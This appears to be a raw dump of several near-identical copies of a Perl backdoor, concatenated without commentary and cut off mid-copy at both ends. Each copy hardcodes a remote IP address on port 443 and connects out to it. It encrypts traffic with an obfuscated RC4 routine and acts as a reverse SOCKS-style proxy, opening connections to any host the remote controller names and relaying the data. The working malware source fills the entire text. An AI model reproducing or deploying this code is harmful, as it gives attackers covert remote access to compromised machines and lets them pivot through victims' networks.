9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.182'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '36.255.98.153'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.181'; my $port = 443; my $xordata = "\x00" x 50; for (my $i = 0; $i < 50; $i++) { substr($xordata, $i, 1) = pack('C', rand(255)); } sub Rc4_crypt { my $passw = shift(@_); my $length = shift(@_); my $buff0 = shift(@_); my $start = shift(@_); my $sz = shift(@_); my $rc4 = "\x00" x 256; my $pockemon0 = 0; my $pockemon1 = 0; my $pockemon2 = 0; my $pockemon3 = 0; my $pockemon4 = 0; my $pockemon5 = 0; my $pockemon6 = 0; my $pockemon7 = 0; my $pockemon8 = 0; my $rcx = $sz; my $rsi = 0; my $rbx = 0; my $gs = 0; my $t = 0; for (my $i = 0; $i <= 255; $i++) { substr($rc4, $i, 1) = pack('C', $i); } do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); while(1) { if ($gs == 0) { $pockemon2 = 0; $pockemon3 = $length; } if ($gs != 0) { $gs = 0; $pockemon2++; if (--$pockemon3 == 0) { next; } } $pockemon7 = unpack('C', substr($rc4, $pockemon0, 1)); $t = unpack('C', substr($$passw, $pockemon2, 1)); $pockemon1 += $t; $pockemon1 = $pockemon1 & 255; $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon6 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon0, 1) = pack('C', $pockemon6); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon0++; $pockemon0 = $pockemon0 & 255; if ($pockemon0 != 0) { $gs = 1; next; } $pockemon4 = $sz; $pockemon1 = 0; $pockemon0 = 0; $pockemon2 = 0; $pockemon3 = 0; while(1) { $pockemon2++; $pockemon2 = $pockemon2 & 255; $pockemon7 = unpack('C', substr($rc4, $pockemon2, 1)); $pockemon1 += $pockemon7; $pockemon1 = $pockemon1 & 255; $pockemon8 = unpack('C', substr($rc4, $pockemon1, 1)); substr($rc4, $pockemon2, 1) = pack('C', $pockemon8); substr($rc4, $pockemon1, 1) = pack('C', $pockemon7); $pockemon8 += $pockemon7; $pockemon8 = $pockemon8 & 255; $pockemon0 = unpack('C', substr($rc4, $pockemon8, 1)); $pockemon5 = unpack('C', substr($$buff0, $start + $pockemon3, 1)); $pockemon5 = $pockemon5 ^ $pockemon0; substr($$buff0, $start + $pockemon3, 1) = pack('C', $pockemon5); $pockemon3++; if (--$pockemon4 == 0) { last; } } last; } $rsi = 0; $rcx = $sz; $rbx = 0; do { substr($$buff0, $start + $rsi, 1) = pack('C', (unpack('C', substr($$buff0, $start + $rsi, 1)) ^ unpack('C', substr($$passw, $rbx, 1)))); $rsi++; $rbx++; $rcx--; if ($rbx == $length) { $rbx = 0; } } while($rcx > 0); } sub synsend { my $cSocket = shift(@_); my $buffer = shift(@_); my $flags = shift(@_); open(my $fh, "<", '/dev/null'); flock($fh, LOCK_EX); # =============================================== send($cSocket, $buffer, $flags); # =============================================== flock($fh, LOCK_UN); close($fh); } sub newConnection { my $num = shift(@_); my $socketarray = shift(@_); my $sSocket = shift(@_); my $cSocket = shift(@_); my $buff0 = shift(@_); threads->create( sub { my $responce = pack('C', $num)."\x0A\x00\x05\x01\x00\x01\x00\x00\x00\x00\x00\x00"; my $domain = ''; my $port = 0; my $_ret = 0; my $data = ''; my $buffer = ''; setsockopt($cSocket, IPPROTO_TCP, TCP_NODELAY, 1); fcntl($cSocket, F_SETFL, O_NONBLOCK); if (unpack('C', substr($buff0, 7, 1)) == 3) { $domain = substr($buff0, 9, unpack('C', substr($buff0, 8, 1))); $port = unpack('S', substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 1, 1).substr($buff0, 9 + unpack('C', substr($buff0, 8, 1)) + 0, 1)); } elsif (unpack('C', substr($buff0, 7, 1)) == 1) { $domain = sprintf("%d.%d.%d.%d", unpack('C', substr($buff0, 8 + 0, 1)), unpack('C', substr($buff0, 8 + 1, 1)), unpack('C', substr($buff0, 8 + 2, 1)), unpack('C', substr($buff0, 8 + 3, 1))); $port = unpack('S', substr($buff0, 12 + 1, 1).substr($buff0, 12 + 0, 1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); $#!/usr/bin/perl use strict; use warnings; use Socket; use Socket qw(IPPROTO_TCP TCP_NODELAY); use Fcntl; use Fcntl qw(:flock); use threads; use threads::shared; my $host = '62.60.131.180'; my $port = 443; my $xordata = "\x00" x 50; for 